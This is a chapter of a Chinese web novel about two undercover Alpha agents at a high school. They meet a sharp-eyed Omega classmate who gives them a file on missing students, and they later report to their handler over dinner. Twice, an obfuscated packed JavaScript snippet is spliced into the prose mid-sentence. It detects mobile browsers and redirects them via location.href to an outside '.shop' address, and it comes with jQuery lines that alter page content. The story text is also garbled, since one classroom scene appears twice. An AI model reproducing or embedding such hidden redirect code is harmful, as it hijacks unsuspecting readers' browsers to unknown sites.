《竹子味的威士忌》
1. 转校生
暑气迟迟不肯褪去,十月的日头依旧毒辣,聒噪的蝉鸣撕裂长空,叫嚣着浸透整座校园。道路两侧的梧桐垂着蔫蔫的枝叶,泛黄的碎叶被热风裹挟,漫无目的地拍打墙面与窗沿。沉闷的热浪笼罩着和风四中,吊扇拖沓的转动声混着窗外嘈杂的聒噪,裹挟着少年人躁动的气息,揉进高中独有的沉闷与局促里。
但10月份的和风四中,蝉鸣吵得像TM的有人拿电钻在太阳穴上开拖拉机!
谢燃扯了扯校服领口,露出点锁骨,又觉得有点招摇,赶紧拽回去。没过两秒,手又不老实了,再扯开一点。最后他索性放弃治疗,任那领子歪七扭八地挂着,像面被霜打了的破旗。
“能消停点不?”旁边传来纪砚的声音,凉飕飕的,跟刚从冰柜里摸出来的汽水罐似的。
“我挺消停的啊。”谢燃眨巴着眼,身后那条火狐尾巴甩得花里胡哨,“瞅瞅我这发型,多乖,我妈看了都得感动——哦对,我好像没妈来着。”
纪砚没吭声。
俩人杵在和风四中门口,10月的太阳也毒得很,把和风中街晒得泛白。学生们背着书包从身边挤过去,总有人偷偷瞟他们两眼,又赶紧把脑袋扭开——两个转校生,一个帅得生人勿近,一个帅得怎么看怎么欠,这组合搁哪儿都扎眼。
“档案背熟了?”纪砚问。
“谢燃,十八,火狐Alpha,临市转来的,爹妈做生意常年不着家,性格开朗——”谢燃指着自己的脸,“开朗?这玩意儿还用演?哥们儿本色出演好吧?”
“你那叫本色抽象。”
“那是艺术,你不懂。”
纪砚懒得跟他掰扯,抬脚就往校门里走。谢燃小跑两步跟上去,肩膀几乎要蹭到纪砚,被对方不动声色地侧身让开了。
“离我远点。”
“哎呀,谁看得出啊。我演阳光开朗大男孩,你演高冷学霸,咱俩就是普通同桌,谁能想到俩Alpha有一腿?”
“我们没一腿。”
“迟早的事儿~”
纪砚脚步顿了一下,侧头瞥了他一眼。那双黑眼睛里没啥情绪,但谢燃硬是从里面读出了“你丫再废话一句试试”的意思。
他识趣地闭嘴了。暂时。
教学楼里有股子陈年的灰味儿,混着消毒水和食堂飘来的廉价油烟,构成了高中特有的那股子让人不太舒服的气息。他们班在高二(6),走廊最里头,窗户正对着操场,能看见几个体育生在那儿傻跑,汗味隔着老远都能闻到。
班主任姓王,是个Beta,戴副圆框眼镜,看着四十好几,说话慢吞吞的,但眼神贼亮,不像个省油的灯。他领着俩人进教室的时候,原本闹哄哄的班级瞬间安静了三秒,接着就是一阵嗡嗡的窃窃私语。
“卧槽,好帅——”
“俩都帅啊,冷的那个帅,笑的那个也帅,啊啊啊”
“别嚎了,老师瞪过来了”
王老师拍了拍讲台:“安静。这是新来的转校生,大家多关照。”然后看向他们,“自我介绍一下吧。”
纪砚上前一步,声音不大,但每个字都咬得清清楚楚:“纪砚,Alpha。”
没了……
教室里安静了一瞬,然后是更汹涌的窃窃私语。
“就这?”
“好冷好冷好冷”
“他好高冷哦,我喜欢!”
谢燃在心里翻了个白眼,然后挂上一个灿烂到能把人闪瞎的笑容,往前蹦了一步:“大家好呀!我叫谢燃,也是Alpha,喜欢打游戏、吃火锅、看番剧,讨厌写作业和早起,以后请多关照!”
说完还比了个耶。
教室里瞬间炸开了锅。
“这个好热情!”
“俩极端啊哈哈哈”
“Alpha也这么可爱的吗?”
纪砚面无表情地看着他,嘴唇微微动了一下,谢燃读出了那三个字:丢人现眼。
他回以一个更灿烂的笑容:你不懂,这叫拉近距离。
座位被安排在靠窗倒数第二排,俩人挨着。谢燃一坐下就把腿伸得老长,椅子往后翘,活像来度假的。纪砚坐得笔直,从书包里拿出课本和笔记本,整整齐齐码在桌角。
“装。”谢燃凑过去,压低声音。
“闭嘴。”
“你看前排那个戴眼镜的女生,已经回头看了你五次了。”
“注意力放回任务上。”
“任务又没跑。”谢燃往后一靠,目光懒洋洋地扫过教室里的每一张脸,嘴上却还在贫,“你说这个学校的卧底任务到底有什么意义?抓非法实验?一个高中能有什么非法实验?难不成食堂的土豆泥是拿信息素调的?”
“认真点。”
“我很认真。”谢燃的尾指轻轻敲了敲地面,那是他们的暗号——周围安全,无监听设备。纪砚微不可查地点了下头。
第一节是数学课。老师在黑板上写满了一堆谢燃看不太懂的公式,粉笔灰簌簌往下掉,像一场小型的白色大雪崩。谢燃撑着下巴,目光飘向窗外,梧桐树的叶子被风吹得哗啦响,阳光碎成一片一片落在课桌上。
“无聊死了。”他用只有两个人能听到的音量说。
“那你做题。”
“我不会。”
“活该。”
谢燃正要回嘴,教室后门突然被人从外面推开,发出“砰”的一声巨响,全班都被吓了一跳。
一个男生气喘吁吁地站在门口,校服拉链只拉到胸口,露出里面的黑色T恤,头发乱得像鸟窝,脸上还挂着汗。他的瞳孔颜色很浅,带着一种哈士奇特有的、介于聪明和智障之间的光芒。
“报、报告——”他弯着腰大口喘气,“我迟到了,对不起,闹钟坏了,不是,我醒了又睡了,不是,我妈没叫我——”
数学老师面无表情地看着他:“陆大寻,这学期你迟到第三次了。”
“第三次了吗?”陆大寻挠挠头,“我以为才第二次。”
全班哄笑。
“回座位。”
陆大寻嘿嘿一笑,拎着书包往座位走。他的位置在谢燃正后方,路过的时候,谢燃闻到了一股淡淡的琥珀糖的味道——Omega,而且是个还没完全分化的那种,信息素甜得发腻,像把一整袋糖果倒在空气里。
陆大寻坐下的时候,谢燃没回头,但他的耳朵动了动。
那个哈士奇Omega在后面对他吹了声口哨。
很小声,只有他们俩能听见。
谢燃:“?”
他没理会,继续看黑板上的公式发呆。
过了大概三十秒,他的后背被一个纸团砸中了。
谢燃下意识地伸手去捡,指尖刚碰到纸团边缘,一只手从旁边伸过来,稳稳地按住了他的手腕。
纪砚没有看他,目光依旧落在黑板上,笔还在写。但他的声音低得几乎只有气流,精准地送进谢燃耳朵里:“别动。别回头。别理。”
谢燃的手指顿住。
纪砚的拇指在他腕骨上轻轻压了一下,那是警告的意思——然后松开了。那只手收回去之前,顺势将纸团轻轻拨到了课桌腿旁边,落在谢燃够不到的地方。
后排的陆大寻安静了几秒,又戳了谢燃一下。
第二个纸团从桌沿滚过来,眼看就要落在谢燃腿上。
纪砚这回连头都没偏,右手直接从桌面上滑下来,掌心朝下,准确无误地盖住了那个纸团。他捏了一下,纸团被无声地攥紧,塞进了自己的校服口袋。全程没有看内容,没有多余的动作,甚至连呼吸都没变。
陆大寻在后座沉默了片刻。
谢燃感觉到后背又被人戳了一下,这次力道轻了些,带着点试探的意思。
纪砚微微侧过脸,没有回头,只是将视线往右边偏了偏。那个角度刚好能让陆大寻看到他的侧脸轮廓——眉骨下的阴影压住了眼瞳,面无表情,但周身那种Alpha的气场无声地铺开了,像一堵透明的墙。
不需要信息素压制,甚至不需要眼神对视。
陆大寻的指尖悬在半空,顿了两秒,讪讪地缩了回去。
教室里只剩下粉笔敲击黑板的声音和窗外的蝉鸣。
谢燃用余光瞄了一眼纪砚。后者已经重新拿起笔,继续在笔记本上写公式,姿态端正得像什么都没发生过。但谢燃注意到,他握笔的姿势比刚才紧了一分。
“你还真是一点机会都不给啊。”谢燃用气声说。
“闭嘴听课。”
“我都听不懂。”
“那就睡觉,别惹事。”
谢燃趴在桌上,把脸埋进胳膊里,嘴角忍不住翘了一下。
下课的铃声响了。
谢燃还没来得及站起来,后脑勺就被一个纸飞机精准命中。
纸飞机的折法极其复杂,看起来像某种加密通讯。他拆了半天才打开,里面只有一句话:
“天台见?我请你们喝奶茶。”
谢燃把纸条递给纪砚,笑了。
“走吧,”他说,“去见见我们的新朋友。”
纪砚站起来,把课本收好,声音淡淡的:“如果是陷阱,你负责挡枪。”
“凭什么?”
“因为你跑得快。”
“……”
谢燃想了想,觉得这话好像也没毛病……?
教室里只剩下粉笔敲黑板的声音,和窗外的蝉鸣。
谢燃用余光瞟了一眼纪砚。后者已经重新拿起笔,继续在笔记本上写公式,坐得笔直,像什么都没发生过。但谢燃注意到,他握笔的姿势比刚才紧了一分。
“你还真是一点空子都不给钻啊。”谢燃用气声说。
“闭嘴听课。”
“听不懂。”
“那就睡觉,别惹事。”
谢燃趴到桌上,把脸埋进胳膊里,嘴角忍不住翘了翘。
但陆大寻显然不是那种“你不理我我就消停”的主。
下半节课,谢燃感觉背后时不时传来窸窸窣窣的动静——像在本子上疯狂写什么,笔尖戳纸的声音跟打点计时器似的。他不用回头都能想象出那哈士奇Omega埋头狂写的样子,眼睛里八成闪着“我发现了惊天大秘密”的光。
纪砚全程面无表情地听课,手里的笔没停过,笔记写得比板书还工整。谢燃有时候真怀疑这人是不是机器人——说专注就专注,旁边有人拿纸团砸他同桌,他还能心如止水地解二次函数。
不对,他拦了。
但拦完之后,他呼吸都没乱。
变态。
下课铃终于响了,数学老师夹着教案离开,教室瞬间炸开。谢燃还没来得及伸懒腰,一架纸飞机从天而降,精准扎进他头发里。
纸飞机折得极其复杂,像某种加密通讯——少说折了二十多道,谢燃拆的时候差点把指甲掰断。好不容易展开,纸上只有一行字,字大得占满整张纸:
“天台见?我请你们喝奶茶。”
谢燃盯着这行字看了两秒,嘴角慢慢咧开。
他把纸条往纪砚面前一递:“瞅瞅,人多热情。”
纪砚接过去扫了一眼,眉头几不可见地皱了下,然后把纸条叠好,没还给谢燃,而是放进自己校服内侧口袋。
“干嘛?”谢燃问。
“保存证据。”
“请喝奶茶的纸条当什么证据?告他意图投毒?”
纪砚没理,站起来把课本收进书包,动作不紧不慢。
谢燃也跟着站起来,椅子往后一推,发出刺耳的吱呀声。周围几个同学看了他们一眼,又赶紧收回视线——这俩人站一起的视觉冲击确实有点大。
“走,”谢燃把书包往肩上一甩,“去见见新朋友。”
纪砚整理好桌面,声音淡淡的:“如果是陷阱,你挡枪。”
“凭什么?”
“你跑得快。”
“……”
谢燃想了想,觉得这话好像也没毛病。
两人一前一后走出教室。走廊里人来人往,到处是打闹的学生和乱飞的纸团。谢燃路过时顺手接住一个差点砸他脸上的纸飞机,瞥了眼,上头写着“中午吃啥”,他随手扔了回去。
“你倒适应得快。”纪砚说。
“这叫融入群众。”谢燃得意地甩甩尾巴。
上三楼的楼梯间安静些,没什么人。谢燃放慢脚步,和纪砚并肩走着,压低声音:“那个陆大寻,你注意他信息素了吗?”
“琥珀糖,Omega,未完全分化。”纪砚答得像念报告。
“不只是这个。他看人的方式不对劲。”谢燃的手指无意识地在裤缝上敲了两下,“他坐下时,第一眼看的是你右手,第二眼看的是我鞋。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536113|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>纪砚脚步顿了下:“鞋?”
“曙光学院配的战术靴,民用版改的,但鞋底磨损纹路和普通运动鞋不一样。”谢燃说这话时语气难得正经了些,“这小子观察力有点吓人。”
纪砚沉默几秒,继续往上走:“所以才要小心。不知道他什么来路之前,别接他东西,别回他话,别给任何反应。”
“知道了知道了,纪妈妈。”
“……”
“但你刚才摸走的那俩纸团,不好奇他写了什么?”
“不好奇。”
“骗鬼。”
纪砚没答,但脚步明显快了几分。
天台门没锁,铁门锈迹斑斑,把手上积了层薄灰。谢燃推门时故意用力过猛,门撞在墙上哐当一声巨响——万一里头有埋伏,这动静够让对方先慌一下。
但天台上只有一个人。
陆大寻盘腿坐在水泥地上,面前摆着三杯奶茶,正低头玩手机。听见响声他抬起头,咧开嘴笑了,露出一口白牙。
“来了来了!我还以为你们不来了!”他拍拍旁边的地面,“坐坐坐,奶茶自己挑,红豆、布丁、椰果,不知道你们喜欢哪种,就都买了。”
谢燃看了一眼纪砚。
纪砚没动,站在天台门口,背靠门框,双手插兜,表情淡得像十月的天空。他位置选得好——既能看清整个天台布局,又能随时退进楼梯间,还挡住了唯一的出口。
谢燃倒大大方方走过去,在陆大寻对面蹲下,拿起一杯奶茶晃了晃:“你怎么知道我们会来?”
“猜的。”陆大寻眨眨眼,浅色瞳孔映着天光,“你们这种身份,被人发现了还能不来看看?那不是更心虚?”
“我们什么身份?”谢燃笑着问,轻松得像聊天气。
陆大寻歪头看了他两秒,伸出一根手指:“第一,你右手虎口有枪茧,但你不是左撇子,说明你长期右手握枪。第二,你鞋是战术靴改的,鞋底纹路市面上买不到,我查过。第三——”他指指谢燃头发,“你发根是黑的,染了深棕色,而且染了不到两周,说明你在刻意改变外貌特征。第四,你们进教室时,那个冷脸帅哥走在你左后方半米,这是最标准的掩护队形。第五——”
“行了行了,”谢燃打断他,放下奶茶,脸上笑容没变,眼底的玩味却收了几分,“你一个高中生,懂这么多?”
陆大寻嘿嘿一笑:“智商148,你当是摆设啊?”
谢燃回头看了眼纪砚。
纪砚微微点头。
意思是:这小子说的基本属实,至少目前没发现明显谎言痕迹。
谢燃转回来,盘腿坐下,拿起红豆奶茶插上吸管,吸了一大口,含混道:“那你倒说说,你觉得我们是什么人?”
“警察?不对,普通警察没你们这气质。”陆大寻托着下巴,认真思考的样子倒真像智商148的,“你们身上有股子……怎么说呢,像从什么特殊部队出来的,但不是军队那种糙劲儿,更……精密?对,精密。像被什么东西反复打磨过。”
谢燃又吸了口奶茶,没接话。
“而且你们来和风四中肯定不是为了上学,”陆大寻继续说,语气笃定得像念判决书,“这学校本来就不对劲,我早想找人查了。我观察了半年,列了个清单,上面有四个人,行为模式都有问题。如果你们是来查事的,我可以把资料给你们,免费。”
谢燃的吸管在杯底戳了戳,发出咕噜声。
“为什么帮我们?”他问。
陆大寻表情难得正经了一瞬:“因为这学校里有人在消失。”
“消失?”
“字面意思。上学期三个学生,突然就不来上学了,问老师就说转学了,但我查了学籍系统,没有转出记录。”陆大寻声音压低几分,“像人间蒸发了一样。”
天台上安静了几秒。风从远处吹来,把谢燃的头发吹得乱糟糟的。
纪砚终于开口,声音不大,但每个字都像钉子扎进空气里:“有证据吗?”
“有。”陆大寻从书包里掏出个文件夹,厚厚一沓,递过去,“全在这儿。包括那三个学生的基本信息、最后出现的时间地点、失踪前接触过的人,还有我推断的几个可疑目标。”
纪砚没接。
谢燃伸手接过去,随手翻了翻,里头密密麻麻写满了字,还贴了不少照片和便签,看得出花了大力气整理。
“不怕我们是坏人?”谢燃问。
陆大寻笑了,笑得特欠揍:“你们要是坏人,就不会在课堂上被我扔纸团时,让旁边那个帅哥把纸团拨到地上不理我了。坏人才会急着灭口呢。”
纪砚嘴角几不可见地动了一下。
谢燃合上文件夹,站起来,拍拍裤子上的灰。他把文件夹递给纪砚,后者接过去,夹在腋下,没翻看,但也没拒绝。
“行吧,”谢燃把最后一口奶茶喝完,空杯子在手里转了个圈,“东西我们收了。但后面的事你别掺和,该上课上课,该考试考试,别给自己找麻烦,小朋友”
陆大寻也站起来,拍拍屁股:“你们打算单干?”
“这叫专业的事交给专业的人。”谢燃笑着说,然后低下头,把空奶茶杯捏扁。
纪砚忽然看了他一眼。
谢燃读懂了这个眼神——别留痕迹。
他低下头,拇指和食指捏着那张写了“天台见”的纸条——纪砚不知什么时候已经从口袋里拿出来,递到了他手边。
谢燃指尖窜出一缕细小的火焰,橙红色,温度高得吓人,却在触到纸条的瞬间安静地吞没了纸张。没有烟,没有灰,只有纸纤维在高温中无声蜷缩、变黑、化为虚无,连一丝气味都没留下。火焰在指尖跳了两秒,熄灭了,像什么都没发生过。
陆大寻眼睛一亮:“靠,你这是——火系异能?”
谢燃把空奶茶杯也一并烧了,拍拍手,冲他眨眨眼:“你猜。”
然后他转身走向天台门口,路过纪砚时,用只有两人能听见的音量说:“这小孩挺有意思。”
纪砚没回话,但谢燃注意到,他看陆大寻的眼神,比刚才少了三分警惕。
两人一前一后走下楼梯,脚步声在空旷楼道里回响。
身后的天台上,陆大寻还站在原地,手里拿着剩下的两杯奶茶,自言自语地嘀咕了一句:“我就说嘛,这学校终于来对人了。”
2. 饺子味的报告
下午最后一节课的下课铃还没响,陆大寻已经在前座坐不住了。
他的哈士奇尾巴在桌子底下甩来甩去,甩得椅子腿咯吱咯吱响。谢燃盯着那条毛茸茸的尾巴看了三秒,心想这玩意儿要是搁任务里,光凭动静就能把整个狙击位暴露干净。
下课铃终于响了。
陆大寻几乎是弹射转身,整个人趴在椅背上,两只爪子扒着谢燃的桌沿,浅色的瞳孔亮得像俩小灯泡:“谢哥,纪哥,明天见啊!我先溜了”
“嗯。”纪砚收拾着课本,头都没抬。
“别这么冷淡嘛!”陆大寻从校服口袋里掏出手机,动作快得像变魔术,“加个微信呗,万一你们有啥想问的,随时找我。我回复速度贼快,平均三秒。”
谢燃看了一眼纪砚。
纪砚面无表情地继续收拾书包。
“行啊。”谢燃先掏出了手机,打开二维码。陆大寻扫了,备注“谢哥(火焰表情包)”,然后眼巴巴地看向纪砚。
纪砚的手指在课本上停了一秒。
“不加。”他说。
“纪哥——”
“不加。”
陆大寻瘪了瘪嘴,转头看谢燃,用口型说:他好难搞。
谢燃忍住笑,也用口型回:他就这样。
陆大寻叹了口气,把手机揣回兜里,背上书包站起来,路过纪砚身边时忽然凑近了一寸,压低声音:“纪哥,你不加我,我就天天给谢哥发消息,发到他手机内存爆炸。”
纪砚终于抬起眼皮看了他一眼。
那一眼没什么情绪,但陆大寻的尾巴瞬间夹紧了。
“……我走了,拜拜!”他嗖地蹿出教室,跑得比兔子还快。
谢燃看着他的背影消失在走廊尽头,笑出了声:“你吓他干嘛?”
“没吓他。”纪砚拉上书包拉链
“陈述事实。”
“什么事实?”
“他发不到你手机内存爆炸。”
“……你这个人真的很没意思。”
“他能早退我们能吗?”
“不能”
“哦”
…………
当放学铃响的时候,谢燃已经把自己课桌上能烧的东西都过了一遍——当然,仅限于他那堆鬼画符似的草稿纸。
纪砚收拾书包的动作慢得像在做拆弹。课本按高矮排队,笔记本夹在正中间,笔插回笔袋的固定位置。谢燃趴在桌上看着他弄完这一切,心想这人的强迫症八成是曙光学院给刻进骨头里的——毕竟教官说过,“一个连书包都理不清的人,上了战场连枪都摸不着”。
“走不走啊纪大……纪哥?”谢燃拖着长音问。
“走。”
两人从教学楼出来时,夕阳正挂在操场西边的单杠上,把整个校园泡在橘红色的光里。几个体育生还在跑圈,汗味混着草腥气飘过来。谢燃深吸一口,做出陶醉的表情:“青春啊。”
“闭嘴。”
“你就不能配合一下气氛?”
“不能。”
谢燃还要贫,余光扫到教学楼三楼的走廊。那里站着个人,逆光看不清脸,但那站姿——双手插兜,微微歪头,像个观察猎物的捕食者——让他脚步顿了一下。
纪砚也看见了。
“别回头。”他说。
“没回头。”谢燃收回视线继续走,语气还是懒洋洋的,“三楼那个,是冥安?”
“嗯。”
“他在看我们。”
“嗯。”
“你觉得他是随便看看,还是——”
“别猜,回去说。”
两人出了校门,拐进和风中街旁边的巷子。巷子窄得只容两人并排,两侧墙上爬满了爬山虎,把夕阳切成碎片。谢燃走右边,纪砚在左,两人中间始终隔着半臂距离——不远不近,方便说话,又不至于出事时互相绊着。
穿过巷子拐进居民区小路,走了约莫五分钟,在一栋旧公寓楼前停下。这是ASI给的临时住处,五楼,没电梯。
“韩队说今晚回来?”谢燃一边爬楼梯一边问。
“嗯,任务报告交了,应该能早点到。”
“那我得买点饺子皮,上次他吃我煮的速冻水饺,说不如现包的好。”谢燃掰着手指头算,“肉馅家里有,韭菜也有一把,再买点虾仁吧,韩队喜欢三鲜的。”
纪砚看了他一眼:“你会包饺子?”
“不会。”
“那你说得跟真事儿似的。”
“我可以学嘛。”谢燃理直气壮,“实在不行,你包。”
“我也不会。”
“……”
两人对视一眼,同时移开目光。
“那就还是速冻的。”谢燃拍板,“他爱吃不吃。”
爬到五楼,纪砚掏钥匙开门。门锁是普通的机械锁——为了不惹眼,这间公寓没装任何特殊设备。谢燃推开门,鞋都没换就冲进去。
“韩队——!”
客厅的灯亮着。
沙发上坐着个人,四十出头,方脸浓眉,穿件深色夹克,脚边搁着个旧得掉皮的公文包。他正低头看手机,听见声音抬起头,面无表情地看着冲进来的谢燃。
“鞋。”韩征远说。
谢燃低头看了眼自己的脚,战术靴在客厅地毯上留下两个清晰的灰印子。
“哎嘿。”
“哎嘿什么哎嘿,换鞋去。”
谢燃乖乖退回去换鞋。纪砚已经换好了,站得笔直,微微点头:“韩队。”
“嗯。”韩征远放下手机,揉了揉眉心,“路上堵车,提前到了。你们第一天怎么样?”
谢燃换好拖鞋蹦进来,一屁股坐到韩征远旁边的沙发上,整个人陷进去,像只晒太阳的猫:“挺好,同学们热情得很,有个小傻子还请我们喝奶茶了。”
“小傻子?”
“陆大寻,哈士奇Omega,智商148。”纪砚坐到另一侧沙发上,书包放脚边,“第一天就识破我们了。”
韩征远眉毛动了动。
谢燃从书包里掏出那个文件夹,在手里掂了掂:“还给了我们这个,说是他观察半年的成果。四个可疑人物,行为模式分析,失踪学生的时间线,整理得比年绪的报告还详细。”
韩征远接过文件夹,翻开第一页,看了几秒,表情没变。又往后翻了几页,眉头微微皱起来,最后合上文件夹放茶几上。
“年绪的报告我也带来了。”他拍了拍脚边的公文包,“本来想提醒你们重点注意冥安,没想到这陆大寻已经把他列上去了。”
“他给冥安标了四星。”谢燃说,语气里带着点意外的赞许,“四个嫌疑人里最高就是四星,其他都是三星两星。这小子眼力不赖。”
韩征远从公文包里抽出个薄文件袋递给纪砚:“年绪的分析报告,下午刚出的。冥安,蜘蛛Alpha,十八岁,和风四中高二,父亲早亡,母亲在邻市打工,独居。信息素特征不稳定,疑似用过信息素抑制剂,来源不明。”
纪砚翻着报告,眉头越皱越紧。
谢燃凑过去看,下巴搁在纪砚肩上,没注意对方微微僵硬的肩膀:“这和陆大寻给的差不多啊,就多了个信息素抑制剂这条。”
“陆大寻没ASI的情报网。”纪砚说,声音里带着一丝不易察觉的感慨,“他全靠自己看自己猜。”
“所以说人家智商148不是吹的。”谢燃缩回去,靠在沙发上翘起二郎腿,“韩队,你见过这小子没?”
“没,但年绪说他有点意思。”韩征远从口袋里摸出烟盒,抽出一根叼在嘴里,又抽出第二根,顺手递给谢燃——动作自然得像做过一千遍。
谢燃下意识伸手去接。
韩征远的手停半空,目光落在谢燃身上——校服、运动鞋、头发还染着深棕色。他忽然眯起眼,把烟收回去夹在自己耳朵上,慢悠悠吐出一句:“忘了你现在是学生。”
谢燃的手还伸着,表情从期待变成无语,最后定格在“你想打架吗”的微笑上。
“韩队,你故意的吧?”
“故意的。”韩征远面无表情地点上自己那根烟,吸一口,吐个烟圈,“看着你伸着手够不着的样子,挺解压。”
纪砚在旁边翻了一页报告,语气平淡得像念课文:“别闹了。”
谢燃把手缩回去,愤愤不平地靠回沙发:“行,您是大爷,就我是学生。学生怎么了?学生不能抽烟?更何况老子二十……哈哈……更何况老子十八了。”谢燃的声音越来越小。
“十八也不行,任务期间你就是个高中生。”韩征远弹弹烟灰,“好好读书,天天向上。”
“……你等着,等任务结束我抽给你看,我嘴里叼八根!”
“到时候再说。”韩征远把烟掐灭在烟灰缸里,神色收了几分玩笑,“年绪还说了另一件事。”
客厅里的气氛沉了沉。
“陆大寻给的文件夹里,有没有提到一个叫姜雅的人?”
谢燃正在揉自己被戏弄的手指,头也没抬:“有啊,校医,蛇Omega,三星嫌疑。”
“年绪那边查到点东西。”韩征远声音压低了些,“姜雅的身份信息有问题,她档案在十五年前的某个节点上断了。”
十五年前。
这四个字像块石头扔进平静的水面,激起无声的涟漪。
谢燃的动作顿了一下,但很快又恢复轻松,语气依旧没心没肺:“十五年前的事儿多了去了,说不定人家就是搬家丢了档案呢。”
“不像搬家。”韩征远说,“更像是被刻意抹过。”
纪砚开口:“需要我查吗?”
“暂时不用,年绪还在做深度分析。”韩征远看看谢燃,又看看纪砚,“你们现在的任务还是盯紧冥安,其他嫌疑人别打草惊蛇。尤其是那个陆大寻,让他离远点,别掺和进来。”
“他说的时候我们会听的。”谢燃往后一仰,双手枕在脑后。
“你们会听?”韩征远语气里带着明显的怀疑。
“会啊,我们可听话了。”谢燃笑得一脸真诚。
韩征远和纪砚同时露出了“我信你个鬼”的表情。
“行了,说点正事。”韩征远从夹克内袋里摸出个信封,推到茶几中间,“差点忘了,这个给你们。”
信封上没任何标记,封口处盖着ASI的银色星轨火漆印。
谢燃看看纪砚,纪砚微微点头。谢燃拆开信封,里面只有一张纸,上面两行字:
“冥安上游有更高级的联络人,代号‘织网者’。身份未知,位置未知,目标未知。”
“小心。”
没署名,没日期,就这么两行字。
“谁给的?”谢燃问。
“不知道。”韩征远靠在沙发上,“今早出现在我办公桌上的,监控没拍到人。”
“程宇呢?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536114|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他也没查到?”
“程宇说他抹不掉不存在的东西。”
谢燃把纸条翻来覆去看了两遍,没发现什么隐藏信息,递给纪砚。纪砚看了几秒,把纸条叠好放进口袋。
“不管是谁给的,”纪砚说,“至少说明一件事——有人在暗中帮我们。”
“也可能是陷阱。”谢燃说。
“所以小心。”韩征远站起来伸个懒腰,“你们俩啊,一个太莽,一个太稳,中和一下就好了。”
“我哪里莽了?”谢燃不服。
“上个月你把人家审讯室的门踹飞了。”
“那是因为门锁坏了打不开!”
“你可以叫技术员。”
“叫技术员要等二十分钟,嫌疑人就醒了!”
“所以你没错?”
“我没错!”
韩征远叹口气,转头看纪砚:“你呢?你有什么要说的?”
纪砚放下手里的文件,想了想,说:“饺子呢?你不是说要煮饺子?”
谢燃一拍脑门:“对对对,差点忘了。”他从沙发上蹦起来跑进厨房,打开冰箱下层,翻出袋速冻水饺。包装袋上结着厚霜,显然在冰箱里住了很久。
“韭菜猪肉的,行吗?”
“你说呢?”
“行就行,不行也得行,家里就这个。”谢燃撕开包装袋,饺子哗啦倒进锅里,溅起一片水花。
韩征远靠在厨房门框上,双手抱胸,看着谢燃手忙脚乱地煮饺子。纪砚也走过来,站在韩征远旁边,三个人挤在小厨房里,空气里飘着韭菜味和速冻食品特有的工业气息。
“对了,”韩征远忽然说,“那个‘织网者’,会不会和十五年前的事有关?”
水龙头哗哗响着,谢燃搅饺子的手顿了一下。几秒后,他继续搅动,语气轻松得像在聊天气:“不知道。但不管有没有关系,这次的任务目标是一样的——找到他,抓到他,让他付出代价。”
他转过身,看着韩征远,笑容明亮得像厨房里的灯:“放心吧韩队,我们可是你带出来的,哪有那么容易栽。”
韩征远伸手揉了揉他的头发,动作粗鲁但温柔:“去去去,别在这儿煽情了,饺子要糊了。”
“哎呀!”谢燃慌忙转回去搅锅。
饺子煮好了,谢燃盛了三碗端到餐桌上。韩征远坐下,夹起一个饺子咬一口,嚼两下,表情微妙。
“怎么了?”谢燃紧张地问。
“熟了。”
“那不好吗?”
“没破。”
“所以呢?”
“所以,”韩征远咽下饺子,面无表情地说,“这大概是你厨艺生涯的巅峰了。”
谢燃:“……”
纪砚夹起一个饺子,蘸点醋,慢慢吃着,嘴角的弧度比刚才大了那么一点点。
三个人吃完了整袋饺子。韩征远吃完最后一口,放下筷子,认认真真说了一句:“下次还是买速冻的吧。”
谢燃笑趴在桌上,纪砚难得地弯了弯嘴角。
韩征远站起来,把碗端到厨房水槽里,拧开水龙头冲洗。谢燃跟到厨房门口,靠在门框上,看着韩征远洗碗的背影。韩征远的肩很宽,但微微有些佝偻,像常年伏案工作留下的痕迹。他头发里夹着几根白发,在厨房的灯光下格外显眼。
“行了,”韩征远擦擦手,“我今晚住这儿,明天一早走。你们该干嘛干嘛,别管我。”
“知道了知道了,纪妈妈。”谢燃随口应道。
纪砚看了他一眼。
“不是,我说韩妈妈——”谢燃赶紧改口。
韩征远和纪砚同时看着他。
“……行,你们都是我爸。”谢燃放弃了。
那天晚上,纪砚坐在客厅沙发上,给陆大寻发了条消息——陆大寻刚加的微信,备注还没来得及改。
“明天放学别走,有话问你。”
几秒后,回复来了,带着三个感叹号和一个表情包:
“!!!好的纪哥!!!”后面跟着只哈士奇歪头的表情包。
纪砚盯着那表情包看了两秒,把手机屏幕朝下扣在沙发上。
厨房里传来谢燃的声音,他正在收拾餐桌,嘴里哼着不知道什么调子的歌,跑调跑到外太空。韩征远坐在沙发上翻文件,偶尔抬头看一眼厨房的方向,嘴角带着一丝连自己都没察觉的笑意。
窗外,和风市的夜空挂着一弯冷月,公寓楼下的巷子里传来野猫的叫声。厨房的灯光暖黄黄地亮着,照在三个人身上,把影子拉得很长很长。
在这个随时可能面对危险的任务里,这样平静的夜晚显得格外珍贵。
谢燃收拾完厨房,偷偷把手机架在窗台上,对着客厅拍了张照片——韩征远在看文件,纪砚在沙发上闭目养神,窗外的月光洒进来,安安静静的。
他想了想,给这张照片配了行字,存在手机里:
“任务第二天,平安。”
然后他锁屏,把手机揣进口袋,一屁股坐到纪砚旁边,抢过他的手机想看聊天记录,被纪砚不动声色地拿回去。
“别闹。”
“看看嘛,那个小傻子给你发啥了?”
“不关你事。”
“纪砚你变了你以前不是这样的——”
